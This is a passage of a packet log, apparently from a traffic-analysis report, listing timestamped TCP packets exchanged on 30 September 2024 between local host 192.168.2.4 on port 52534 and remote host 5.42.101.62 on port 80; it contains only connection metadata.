Sep 30, 2024 12:22:27.371983051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.371989012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.372035980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.372056961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.372090101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.372100115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.372123957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.372133017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.372170925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.373127937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.373162031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.373182058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.373198986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380475044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380526066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380528927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380568981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380583048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380615950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380621910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380650043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380654097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380681992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380686998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380723953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380737066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380779028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380790949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380829096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380844116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380877018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380877972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380912066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380920887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380945921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.380945921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380983114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.380990982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.381020069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.381040096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.381077051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.384181023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.384239912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.384484053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.384517908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.384529114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.384552956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.384556055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.384587049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.384593964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.384629965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.384639978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.384675026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.384691954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.384732962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.387778044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.387829065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.387830973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.387872934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.387885094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.387917995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.387928009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.387952089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.387960911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.387986898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.387994051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.388020039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.388024092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.388065100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.391412973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.391465902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.391467094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.391500950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.391505003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.391555071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.391566038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.391592026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.391602039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.391639948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.391639948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.391674995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.391679049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.391717911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.411129951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.411180019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.411195040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.411231995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.411247015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.411279917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.411284924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.411318064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.411330938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.411364079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.411369085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.411406040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.411432981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.411474943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.417948961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.417977095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.417994976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418013096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418061018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.418062925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418087959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418107033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.418128967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.418159008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418174982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418191910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418195009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.418207884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.418212891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418232918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.418250084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.418718100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418732882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418749094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418761969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.418770075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418772936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.418787956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.418806076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.418828011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.433960915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434014082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434029102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434031963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434057951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434076071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434108019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434144974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434153080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434169054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434189081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434205055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434216976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434231997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434252024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434269905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434461117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434490919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434503078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434506893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434547901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434624910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434643984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434660912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434663057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.434690952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.434714079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.435250044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.435273886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.435290098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.435296059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.435312986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.435316086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.435331106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.435332060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.435348988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.435359955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.435369015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.435376883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.435401917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.435411930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.435415983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.435448885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.444447994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.444497108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.444583893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.444600105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.444617033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.444626093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.444633007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.444642067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.444648981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.444658041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.444664955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.444678068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.444683075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.444690943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.444706917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.444722891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.448868990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.448915005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.448920012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.448931932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.448946953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.448949099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.448961020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.448977947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.449027061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.449067116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.449075937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.449091911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.449110031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.449125051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.449155092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.449172020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.449187040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.449192047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.449208021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.449220896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.449592113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.449640036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.449655056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.449657917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.449678898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.449685097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.449695110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.449700117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.449722052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.449738979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.453131914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.453160048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.453176022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.453186035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.453207970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.453208923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.453224897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.453241110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.453243017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.453258991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.453273058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.453509092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.453557014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.453598976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.453646898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.458929062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.458945036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.458959103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.458982944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.458993912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.459027052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.459043026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.459059954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.459062099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.459084988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.459100008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.459131956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.459146023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.459165096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.459178925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467148066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467194080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467209101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467211962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467227936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467227936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467245102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467259884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467273951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467292070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467309952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467309952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467325926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467328072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467339993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467363119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467713118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467751980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467761040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467767954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467782021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467783928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.467792034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.467813969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.468089104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.468103886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.468122005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.468131065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.468133926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.468144894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.468166113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.470875978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.470892906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.470909119 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.470922947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.470926046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.470941067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.470942974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.470963955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.470985889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.470988035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.471003056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.471016884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.471024990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.471040964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.471055984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.474546909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.474594116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.474605083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.474620104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.474634886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.474646091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.474656105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.474670887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.474675894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.474688053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.474704027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.474713087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.474719048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.474740028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.474762917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.497797012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.497826099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.497838974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.497849941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.497857094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.497881889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.497893095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.497909069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.497925043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.497941017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.498158932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.498173952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.498188972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.498194933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.498210907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.498225927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.498332024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.498368025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.498374939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.498390913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.498406887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.498419046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.498472929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.498487949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.498502016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.498506069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.498522043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.498537064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.498786926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.498868942 CEST	52534	80	192.168.2.4	5.42.101.62
